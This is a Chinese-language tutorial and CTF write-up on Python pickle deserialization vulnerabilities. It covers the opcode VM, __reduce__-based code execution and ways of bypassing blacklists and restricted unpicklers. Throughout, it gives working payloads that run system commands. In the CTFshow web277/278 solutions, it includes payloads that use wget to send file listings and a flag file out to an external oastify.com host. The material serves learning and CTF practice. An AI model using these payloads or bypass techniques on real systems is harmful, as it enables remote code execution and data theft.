1. Pickle 基础
1.1 什么是 Pickle?
Pickle是Python内置的序列化/反序列化的模块,它能将任意Python对象转换为二进制流并还原。Pickle文档明确警告:“pickle模块不安全;只有在信任数据源时才使用。恶意构造的pickle数据可以在反序列化时执行任意代码” 。Pickle与JSON的主要区别在于:JSON只能表示基本类型(数值、字符串、列表、字典等),而Pickle能够序列化几乎任意Python对象(类实例、函数、复杂数据结构等),因此功能更强但也风险更高。
Pickle支持多种协议版本(目前Python官方支持0–5共6种协议),其中协议0为文本格式(Python 2兼容),协议1–3为历史二进制格式,协议4引入对超大对象和新类型的支持,协议5引入离带缓冲区以加速大对象传输 。不同协议产生的字节流会略有不同,但反序列化时Python自动探测版本。开发者通常只需调用pickle.dumps(obj)(或dump(obj, file))来序列化,以及pickle.loads(data)(或load(file))来反序列化。
各协议详细可见文档:

在对象协议方面,Python允许类定义特殊方法来自定义序列化行为:
__getstate__ / __setstate__: 当需要自定义实例状态存取时使用。
__reduce__ / __reduce_ex__: 在反序列化时自动调用,返回描述如何重构对象的可调用对象和参数元组,使得Pickle可以调用这个可调用对象并传入参数来重新创建实例 。例如,__reduce__()可以返回(func, args),Pickle在加载时会执行func(*args)来重建对象 。如果__reduce__返回了额外的状态值,Unpickler在创建对象后会调用该对象的__setstate__方法来设置状态 。在Python 3.x中,__reduce_ex__(protocol)优先于__reduce__,允许针对不同协议版本定制返回值 。
1.2 基本用法
python的pickle提供了两个最基本的函数,分别用于序列化和反序列化
1 2 3 4
| # 序列化 pickle.dumps() # 反序列化 pickle.loads()
|
1 2 3 4 5 6 7 8 9 10 11
| import pickle
data = {"name": "YoSheep", "role": "people"}
ser = pickle.dumps(data)
obj = pickle.loads(ser)
print(obj)
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle
data = {"name": "YoSheep", "role": "people"}
with open("data.pkl", "wb") as f: pickle.dump(data, f)
with open("data.pkl", "rb") as f: obj = pickle.load(f)
print(obj)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import pickle
class student(): def __init__(self, name, age, score): self.name = name self.age = age self.score = score
def __repr__(self): return f"Student(name={self.name}, age={self.age}, score={self.score})"
stu = student("张三", 20, 90)
print("序列化前:", stu)
print("序列化后:", pickle.dumps(stu))
s = pickle.loads(pickle.dumps(stu)) print("反序列化后:", s)
|
以下是输出:
1 2 3
| 序列化前: Student(name=张三, age=20, score=90) 序列化后: b'\x80\x04\x95B\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07student\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06\xe5\xbc\xa0\xe4\xb8\x89\x94\x8c\x03age\x94K\x14\x8c\x05score\x94KZub.' 反序列化后: Student(name=张三, age=20, score=90)
|
可以看出,该对象经历了一个:对象 -> 二进制数据 -> 对象 的过程。
1.3 Pickle vs JSON
| 对比项 |
Pickle |
JSON |
| 可存储类型 |
任意 Python 对象(类、函数、集合等) |
基本数据类型(数字、字符串、数组、字典) |
| 跨语言性 |
Python 专用 |
跨语言 |
| 安全性 |
反序列化可执行代码 → 有安全风险 |
相对安全(只解析数据) |
2. 漏洞原理
2.1 反序列化即执行指令
Pickle反序列化过程相当于一个完整的虚拟机(Pickle VM,简称PVM)在Python解释器中执行字节码序列 。PVM维护一个指令解析器(依次读取并执行操作码)、一个使用Python list 实现的操作栈(临时存储数据和中间结果)、以及一个使用Python dict 实现的memo(对象缓存,用于避免重复反序列化同一对象)。在解析字节流时,每遇到一个操作码(opcode),就执行相应操作并更新栈或memo,直到遇到终止符(.)为止,最终栈顶的对象即为反序列化结果。
常见的opcode,一下表格来自tontac的文章,翻译取自文章
| 指令 |
描述 |
具体写法 |
栈上的变化 |
| c |
获取一个全局对象或import一个模块 |
c[module]\n[instance]\n |
获得的对象入栈 |
| o |
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) |
o |
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
| i |
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) |
i[module]\n[callable]\n |
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
| N |
实例化一个None |
N |
获得的对象入栈 |
| S |
实例化一个字符串对象 |
S’xxx’\n(也可以使用双引号、'等python字符串形式) |
获得的对象入栈 |
| V |
实例化一个UNICODE字符串对象 |
Vxxx\n |
获得的对象入栈 |
| I |
实例化一个int对象 |
Ixxx\n |
获得的对象入栈 |
| F |
实例化一个float对象 |
Fx.x\n |
获得的对象入栈 |
| R |
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 |
R |
函数和参数出栈,函数的返回值入栈 |
| . |
程序结束,栈顶的一个元素作为pickle.loads()的返回值 |
. |
无 |
| ( |
向栈中压入一个MARK标记 |
( |
MARK标记入栈 |
| t |
寻找栈中的上一个MARK,并组合之间的数据为元组 |
t |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ) |
向栈中直接压入一个空元组 |
) |
空元组入栈 |
| l |
寻找栈中的上一个MARK,并组合之间的数据为列表 |
l |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ] |
向栈中直接压入一个空列表 |
] |
空列表入栈 |
| d |
寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) |
d |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
| } |
向栈中直接压入一个空字典 |
} |
空字典入栈 |
| p |
将栈顶对象储存至memo_n |
pn\n |
无 |
| g |
将memo_n的对象压栈 |
gn\n |
对象被压栈 |
| 0 |
丢弃栈顶对象 |
0 |
栈顶对象被丢弃 |
| b |
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 |
b |
栈上第一个元素出栈 |
| s |
将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 |
s |
第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
| u |
寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 |
u |
MARK标记以及被组合的数据出栈,字典被更新 |
以下是PVM的工作机制,参考:https://goodapple.top/archives/1069


2.2 利用机制
在Pickle协议中,常见的与反序列化攻击相关的opcode有:
c <module>\n<name>\n(如cosystem):从指定模块导入全局对象(函数/类),将其推入栈中 。
( 和 t:( 操作码在栈中放入一个MARK,t 操作码将MARK与后续数据组合成一个元组 。
R:REDUCE 操作,在栈顶找出可调用对象和参数元组并执行函数调用 。
.:结束符,表示程序结束,返回栈顶结果 。
例如,攻击者可以在一个自定义类的__reduce__方法中返回(os.system, (‘命令’,)),将os.system函数及参数注入Pickle流。反序列化时,PVM将按上述流程依次执行import os.system、(‘命令’,)、REDUCE调用命令,最终在服务器上执行指定系统命令。这种攻击链图示如下:
1 2
| [Evil().__reduce__ 返回 os.system 函数及参数] -- Pickler.dumps() --> [Pickle字节流] -- Unpickler.loads() --> [PVM 执行 os.system('命令')]
|
使用pickletools可以反汇编pickle
1 2 3 4 5 6 7 8 9 10 11
| import pickle import pickletools
class student(): def __init__(self, name, age, score): self.name = name self.age = age self.score = score
payload = pickle.dumps(student("张三", 20, 90)) pickletools.dis(payload)
|
得到的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| 0: \x80 PROTO 4 2: \x95 FRAME 66 11: \x8c SHORT_BINUNICODE '__main__' 21: \x94 MEMOIZE (as 0) 22: \x8c SHORT_BINUNICODE 'student' 31: \x94 MEMOIZE (as 1) 32: \x93 STACK_GLOBAL 33: \x94 MEMOIZE (as 2) 34: ) EMPTY_TUPLE 35: \x81 NEWOBJ 36: \x94 MEMOIZE (as 3) 37: } EMPTY_DICT 38: \x94 MEMOIZE (as 4) 39: ( MARK 40: \x8c SHORT_BINUNICODE 'name' 46: \x94 MEMOIZE (as 5) 47: \x8c SHORT_BINUNICODE '张三' 55: \x94 MEMOIZE (as 6) 56: \x8c SHORT_BINUNICODE 'age' 61: \x94 MEMOIZE (as 7) 62: K BININT1 20 64: \x8c SHORT_BINUNICODE 'score' 71: \x94 MEMOIZE (as 8) 72: K BININT1 90 74: u SETITEMS (MARK at 39) 75: b BUILD 76: . STOP highest protocol among opcodes = 4
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| 0: \x80 PROTO 4 • 表示使用 pickle 协议版本 4。协议版本影响后续 opcode 行为与编码格式(FRAME、SHORT_BINUNICODE 等)。
2: \x95 FRAME 66 • 协议4引入的 FRAME,用于指出后面一段“frame”的字节长度(用于高效网络传输/解码)。对业务逻辑无行为差异,可视为包长度/边界说明。
⸻
11: \x8c SHORT_BINUNICODE '__main__' • 把 Unicode 字符串 '__main__' 压入栈(module 名)。 • 栈(top → bottom): ['__main__']
21: \x94 MEMOIZE (as 0) • 将栈顶的 '__main__' 存入 memo[0]。 • memo[0] = '__main__',栈不变(仍有 '__main__' 在栈顶,但已 memoize)。
22: \x8c SHORT_BINUNICODE 'student' • 把字符串 'student' 压入栈。(class 名) • 栈: ['student', '__main__'](按 push 顺序,top 为右侧最先被使用的项)
31: \x94 MEMOIZE (as 1) • memo[1] = 'student'
32: \x93 STACK_GLOBAL • 协议 4 中的 STACK_GLOBAL:从栈上取出前两个项(module 名 和 名称),并将对应的全局对象(这里是类 __main__.student)压入栈。等价于旧版 GLOBAL '__main__' 'student' 的行为,但以栈值构造。 • 执行后栈变为: [<class __main__.student>](类对象被推入)。 • 这是把模块名+类名解析成实际的 class 对象。
33: \x94 MEMOIZE (as 2) • memo[2] = <class __main__.student>(把类对象 memoize)
⸻
34: ) EMPTY_TUPLE • 压入一个空元组 () 到栈,用作构造对象时的构造参数(这里没有参数)。 • 栈: [(), <class __main__.student>] (注意 push 顺序;具体取用顺序由 NEWOBJ 决定)
35: \x81 NEWOBJ • NEWOBJ:在栈上取出 class(top-1)和 args tuple(top),调用 class.__new__(class, *args) 创建一个新实例(通常不调用 __init__),然后把新创建的实例推入栈。 • 结果:栈顶现在是新创建的 student 实例(未初始化/随后会通过 BUILD 设置属性)。 • 简单理解:NEWOBJ 创建实例对象但不通过 init 重构状态(Pickle 通常用 BUILD 或 setstate 来恢复属性)。
36: \x94 MEMOIZE (as 3) • memo[3] = <student instance>(将新实例缓存起来以支持后续引用)
⸻
37: } EMPTY_DICT • 压入一个空字典 {} 到栈(这个字典将被用来存放实例的属性/状态)。 • 栈(简化): [..., <student instance>, {}]
38: \x94 MEMOIZE (as 4) • memo[4] = {}(缓存这个空字典)
39: ( MARK • 标记(MARK)用于后续成对的 SETITEMS/SUBSCRIPT 等操作,从 MARK 到当前位置之间的推栈内容作为成对的 key/value 列表处理。 • 实际上这里的 MARK 标记了接下来要放进该字典的若干 key/value 对儿的起点。
⸻
40: \x8c SHORT_BINUNICODE 'name' • 压入字符串键 'name'。 • 栈现在在 MARK 下记录: 'name'
46: \x94 MEMOIZE (as 5) • memo[5] = 'name'(缓存该键)
47: \x8c SHORT_BINUNICODE '张三' • 压入值 '张三'(Unicode 字符串,字节表示在序列中对应那些 \x8c 后的多字节内容)。 • 栈上当前 MARK 部分: ['name', '张三']
55: \x94 MEMOIZE (as 6) • memo[6] = '张三'
56: \x8c SHORT_BINUNICODE 'age' • 压入键 'age'。MARK 区继续记录。
61: \x94 MEMOIZE (as 7) • memo[7] = 'age'
62: K BININT1 20 • K (BININT1) 表示一个 1 字节整数常量,这里值为 20(年龄)。把整数 20 压入栈。 • MARK 区现在有 'name', '张三', 'age', 20
64: \x8c SHORT_BINUNICODE 'score' • 压入键 'score'。
71: \x94 MEMOIZE (as 8) • memo[8] = 'score'
72: K BININT1 90 • 再压入整数 90(score 字段)
⸻
74: u SETITEMS (MARK at 39) • SETITEMS:把 MARK(在偏移 39)到当前位置之间的栈项作为若干 key/value 对,弹出并把这些键值对依次设置到栈上最近的 dict(这里就是 memo[4] 那个空 dict)中。 • 执行效果:把 'name': '张三', 'age': 20, 'score': 90 填入那之前创建的字典(memo[4])。 • 操作后,栈上的 dict 现在是 {'name':'张三','age':20,'score':90}。
75: b BUILD • BUILD:把上一步填好的状态(字典)应用到实例上。通常语义是:从栈中弹出 state,然后对实例执行 instance.__setstate__(state)(如果类定义了 __setstate__),否则直接把 state 更新到实例的 __dict__。 • 在此例中,BUILD 会把刚填好的 dict 作为实例的 __dict__(即把属性写到实例上),从而恢复出完整的 student 实例:student.name='张三'、student.age=20、student.score=90。
76: . STOP • pickle 数据流结束,返回栈顶对象(即已恢复的 student 实例)。
|
最终结果,pickle 流构造了:
- 找到类
__main__.student(通过 SHORT_BINUNICODE '__main__', 'student' + STACK_GLOBAL)
- 使用 EMPTY_TUPLE + NEWOBJ 创建一个新的 student 实例(没有通过 init 的参数方式构造)
- 创建并填充一个 dict,包含三个键值对:name=’张三’、age=20、score=90(通过 SETITEMS)
- 使用 BUILD 将该 dict 应用到实例上(设置实例状态)
结果就是:反序列化得到的实例等价于 Student(name=’张三’, age=20, score=90)。
如何产生恶意目的?
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import pickletools import os
class student(): def __init__(self, name, age, score): self.name = name self.age = age self.score = score
def __reduce__(self): return (os.system, ('ls',))
payload = pickle.dumps(student("张三", 20, 90)) pickletools.dis(payload)
|
输出的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 0: \x80 PROTO 4 2: \x95 FRAME 26 11: \x8c SHORT_BINUNICODE 'os' 15: \x94 MEMOIZE (as 0) 16: \x8c SHORT_BINUNICODE 'system' 24: \x94 MEMOIZE (as 1) 25: \x93 STACK_GLOBAL 26: \x94 MEMOIZE (as 2) 27: \x8c SHORT_BINUNICODE 'ls' 31: \x94 MEMOIZE (as 3) 32: \x85 TUPLE1 33: \x94 MEMOIZE (as 4) 34: R REDUCE 35: \x94 MEMOIZE (as 5) 36: . STOP highest protocol among opcodes = 4
|
可以发现,此时我传入的信息(姓名、年龄、分数等)怎么不见了?
这是因为一旦你在类里实现了 __reduce__,pickle 在序列化这个对象时,就不会去存储对象的属性数据(name、age、score),而是直接把 __reduce__ 返回的 (callable, args) 记录到 pickle 流里。因为Pickle 协议在序列化一个对象时,优先检查__reduce_ex__(protocol)是否存在,否则检查是否存在__reduce__()。如果存在,则它的返回值告诉 pickle:callable(反序列化时要调用的函数)、args**(传给 callable 的参数)。在我的例子中,由于检测到了reduce,且reduce方法中没有name、age、score等,也就是说反序列化时都用不上这些属性,因此也不会出现在汇编内容中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| 0: \x80 PROTO 4 # 使用 pickle 协议版本 4,影响后续编码方式 栈: []
2: \x95 FRAME 26 # 当前 pickle 数据帧大小(v4+ 用于优化流读取) 栈: []
11: \x8c SHORT_BINUNICODE 'os' # 压入字符串 "os" 栈: ['os']
15: \x94 MEMOIZE (as 0) # 将 'os' 存入 memo[0](全局缓存),栈不变 栈: ['os']
16: \x8c SHORT_BINUNICODE 'system' # 压入字符串 "system" 栈: ['os', 'system']
24: \x94 MEMOIZE (as 1) # 缓存 'system' 到 memo[1] 栈: ['os', 'system']
25: \x93 STACK_GLOBAL # 出栈 'system' 和 'os',执行 import os; getattr(os, 'system') # 结果 os.system 压回栈 栈: [os.system]
26: \x94 MEMOIZE (as 2) # 缓存 os.system 到 memo[2] 栈: [os.system]
27: \x8c SHORT_BINUNICODE 'ls' # 压入字符串 "ls" 栈: [os.system, 'ls']
31: \x94 MEMOIZE (as 3) # 缓存 'ls' 到 memo[3] 栈: [os.system, 'ls']
32: \x85 TUPLE1 # 将栈顶 1 个元素 ('ls') 打包成元组 ('ls',) 栈: [os.system, ('ls',)]
33: \x94 MEMOIZE (as 4) # 缓存 ('ls',) 到 memo[4] 栈: [os.system, ('ls',)]
34: R REDUCE # 从栈顶取出 args=('ls',) 和 callable=os.system # 执行 os.system('ls'),结果(退出码)压栈 栈: [0] ← 此时命令已执行
35: \x94 MEMOIZE (as 5) # 缓存 0 到 memo[5] 栈: [0]
36: . STOP # 结束反序列化,返回栈顶的值 0
|
构造的Pickle字节流首先通过SHORT_BINUNICODE ‘posix’和SHORT_BINUNICODE ‘system’等操作码导入并获取os.system函数(在Linux上对应POSIX模块),然后将字符串参数压入栈,最后通过REDUCE操作(在协议4中为R)调用os.system(‘ls’) 。可以看到,Pickle的“虚拟机”流程与普通的Python函数调用相似:先将可调用函数推入栈,再将参数放入栈,最后触发函数调用并返回结果 。正因如此,当Pickle字节流被反序列化时,它能按攻击者指定的顺序“编排”要执行的操作,这就为任意代码执行(RCE)打开了大门 。
2.3 漏洞危害与基础利用
漏洞危害:
反序列化Pickle数据会执行其中指定的指令序列,这意味着攻击者只要能诱使受害者加载恶意Pickle文件或流,就可以执行任意Python代码或系统命令 。以下是常见的基础利用方法:
- 直接RCE:在自定义类的
__reduce__中,或者重写的__reduce__中返回危险调用,例如 (os.system, (‘ls -la’,));序列化后,调用到pickle.loads(payload)即可执行命令。
- 现有Pickle数据剖析:如果已知有恶意Pickle,使用Python自带的pickle.loads()或pickletools.dis()进行反序列化/反汇编,可直接观察其执行逻辑,或者复用其进行进一步攻击。
基础利用
- 使用序列化数据
1 2 3 4 5 6 7 8
| import pickle
class Evil: def __reduce__(self): return (os.system, ('id',))
payload = pickle.dumps(Evil()) pickle.loads(payload)
|
此时,payload中经过序列化后的数据为
1
| b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.'
|
如果执行
1 2 3
| import pickle
pickle.loads(b'\x80\x04\x95\x1a\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x94\x8c\x06system\x94\x93\x94\x8c\x02id\x94\x85\x94R\x94.')
|
那么此时指令id也会被正常执行,pickle 并不会直接在反序列化时报错找不到 os 模块。 pickle 的反序列化机制会根据数据里的模块和函数路径,自动帮你导入相应的模块,然后调用对应的函数。
- 构造 opcode payload
1 2 3 4 5 6 7
| import pickletools
opcode=b'''cos system (S'whoami' tR.''' pickletools.dis(opcode)
|
输出结果,且whoami命令成功执行:
1 2 3 4 5 6 7
| 0: c GLOBAL 'os system' 11: ( MARK 12: S STRING 'whoami' 22: t TUPLE (MARK at 11) 23: R REDUCE 24: . STOP highest protocol among opcodes = 0
|
其中
1 2 3 4
| b'''cos system (S'whoami' tR.'''
|
根据PVM的解析过程,执行过程:
1 2 3 4 5 6
| 1. c os\nsystem\n → 加载 os.system,栈:[<built-in function system>] 2. ( → 压入 MARK 标记,栈:[<system>, MARK] 3. S'whoami' → 压入 "whoami",栈:[<system>, MARK, "whoami"] 4. t → 从 MARK 到栈顶打包成 tuple → ('whoami',),栈:[<system>, ('whoami',)] 5. R → 调用 <system>('whoami'),栈变为 [<system 返回值>] 6. . → 返回 <system 返回值> 并结束
|
3. 深度绕过与其他技巧
由于Pickle漏洞风险极高,很多场景中开发者会尝试限制或黑名单过滤危险函数。如禁止使用os.system、eval等,甚至自定义RestrictedUnpickler来约束模块和名称。然而,攻击者可以利用Python灵活特性和Pickle协议深层机制绕过这些防护。下面列举几种常见的绕过手法和原理分类:
使用替代函数
- 如果os.system被禁用,可以用os.popen或subprocess.Popen等调用系统命令,效果相同。例如,在某些环境下os.popen(‘命令’)仍能执行。此外,subprocess.Popen可直接调用Shell:
1 2 3 4 5 6 7 8 9
| import subprocess import pickle
class Exploit: def __reduce__(self): return (subprocess.Popen, (['/bin/sh','-c','id'],)) payload = pickle.dumps(Exploit()) pickle.loads(payload)
|
1 2 3 4 5 6 7 8
| import pickle, os
class Exploit: def __reduce__(self): return (os.popen, ('id',))
payload = pickle.dumps(Exploit()) pickle.loads(payload)
|
__reduce__ 返回 (callable, args),反序列化会执行 callable(*args),而 subprocess.Popen 、 os.popen 同 os.system 一样,可以执行系统命令。
- 内置函数
eval/exec:如果允许调用eval,攻击者可以先通过__import__('os')拿到os模块后执行任意表达式。如:return (__import__('builtins').__dict__['eval'], ("__import__('os').system('id')",))。在一些RestrictedUnpickler实现中,虽然直接调用exec/eval被列为黑名单,但常可通过getattr(builtins, 'eval')绕过 。
1 2 3 4 5 6 7 8 9
| import pickle, builtins
class Exploit: def __reduce__(self): return (getattr(builtins, 'eval'), ("__import__('os').system('id')",))
payload = pickle.dumps(Exploit()) pickle.loads(payload)
|
- 跳过
find_class检查:RestrictedUnpickler通过重写find_class()禁止导入模块,但PVM中并非所有操作码都调用find_class。根据官方文档,find_class()在处理全局对象时被触发(GLOBAL/c、协议4中的STACK_GLOBAL/\x93、协议2及以上中的INST/i、OBJ/o等会调用该方法)。如果攻击者构造不使用这些操作码(如尽量不使用c/i/\x93),就可绕过find_class。例如,可以利用对象自身的属性或特殊方法来间接获得所需函数,无需再触发导入。通过绕过全局导入的操作码序列,可不触发find_class()检查,从而在受限环境中获取eval等函数 。
1 2 3 4 5 6 7 8 9 10 11 12
| import pickle
class Exploit: def __reduce__(self): builtins_eval = ().__class__.__base__.__subclasses__()[138] return (builtins_eval, ())
payload = pickle.dumps(Exploit())
|
利用函数闭包变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import pickle
def outer(): def inner(): return __builtins__['eval'] return inner
class Exploit: def __reduce__(self): return (outer(), ("__import__('os').system('id')",))
payload = pickle.dumps(Exploit()) pickle.loads(payload)
|
如果提前构造一个函数,把危险函数(eval、os.system)存进闭包变量,再把这个函数对象序列化,就能在反序列化时直接调用它。这样既不触发 find_class,又不需要用黑名单中的名字。
间接访问__builtins__:即使__import__或eval被过滤,但是可以通过Python对象的属性和标准库来间接调用。例如,可以先用Pickle加载内置的dict和globals()字典,再通过builtins.getattr(…)获取内置模块和函数。tontac的一篇文章中,如下截图,攻击者逐步用以下步骤绕过黑名单:
通过(c builtins getattr (c builtins dict S'get' tR)等操作码调用builtins.getattr(builtins.dict, 'get')获得字典的get方法;
使用globals()获取__builtins__全局命名空间;
利用getattr(get, globals(), 'builtins')获取内置模块对象;
最终使用getattr(builtins, 'eval')取得eval函数 。
过程类似
1 2 3 4
| get = builtins.getattr(builtins.dict, 'get') b = get(globals(), '__builtins__', get(globals(), 'builtins')) ev = b.get('eval') if isinstance(b, dict) else builtins.getattr(b, 'eval') ev(command)
|
为什么要这样做才能绕过限制?
在受限的反序列化环境里,不让 payload 直接写出 import / eval / os 等敏感字或不使用可被阻断的 GLOBAL 导入路径,同时依然能拿到危险函数并执行它们。很多防护基于静态黑名单(匹配字面关键字 eval/import/os)或通过 RestrictedUnpickler.find_class() 阻止通过 GLOBAL 导入任意模块。上面的方法没有显式的使用import/GLOBAL,直接从运行时才可见的对象globals()/__builtins__中读取内置模块或函数,而不是直接导入,因此可以绕过;并且通过 dict.get、getattr 等函数逐步索引到内置对象,再取出 eval,很多简单过滤仅查字面 eval/os.system,而此方法的关键字出现在可以被拆分或隐藏的位置(并且可以进一步用字符串拼接或 chr() 逃避匹配)。
博客节选:

- 替代操作码: 如果R(REDUCE)操作码被检测阻断,攻击者仍有i和o等操作码可用来实现类似功能 。例如,i(INST)等价于连续使用GLOBAL和REDUCE,o(OBJ)则在协议0中创建一个新对象实例,但在协议2+时可用于调用函数。Tontac博客列出示例:在无法使用R时,仍可以使用i或o操作码完成调用 。具体而言:
- 使用INST:
(S'whoami'\nios\nsystem\n. 相当于先导入os.system再执行;
- 使用OBJ:
(c posix\nsystem\nS'whoami'\no. 同样调用os.system(‘whoami’)。
CTF例题
CTFshow—web277

首先根据题目提示,构造payload传入
1 2 3 4 5 6 7 8 9
| import pickle import os import base64 class Evil: def __reduce__(self): return (os.system, ('ls /',))
payload = pickle.dumps(Evil()) print(base64.b64encode(payload))
|
但是传入后发现,无论传入的内容是什么,页面没有变化,因此尝试无回显外带:
1 2 3 4 5 6 7 8 9
| import pickle import os import base64 class Evil: def __reduce__(self): return (os.system, ('wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`ls | tr "\n" "_"`',))
payload = pickle.dumps(Evil()) print(base64.b64encode(payload))
|
由于外带的内容中如果存在换行的情况,会导致wget 命令无法正确解析域名,因此可以用上面的方法列出所有文件

找到flag
1 2 3 4 5 6 7 8 9
| import pickle import os import base64 class Evil: def __reduce__(self): return (os.system, ('wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`cat flag`',))
payload = pickle.dumps(Evil()) print(base64.b64encode(payload))
|
成功带出执行结果

CTFshow—web278
同web277,过滤了os.system,使用os.popen或subprocess
1 2 3 4 5 6 7 8 9
| import pickle import os import base64 class Evil: def __reduce__(self): return (os.popen, ('wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`cat flag`',)) payload = pickle.dumps(Evil()) print(base64.b64encode(payload))
|
或
1 2 3 4 5 6 7 8 9 10 11
| import pickle import base64 import subprocess
class Evil: def __reduce__(self): return (subprocess.Popen, (['/bin/sh', '-c', 'wget tvs9lnb4c9choqoskqogia002r8iwbk0.oastify.com/`cat flag`'],)) payload = pickle.dumps(Evil()) print(base64.b64encode(payload))
|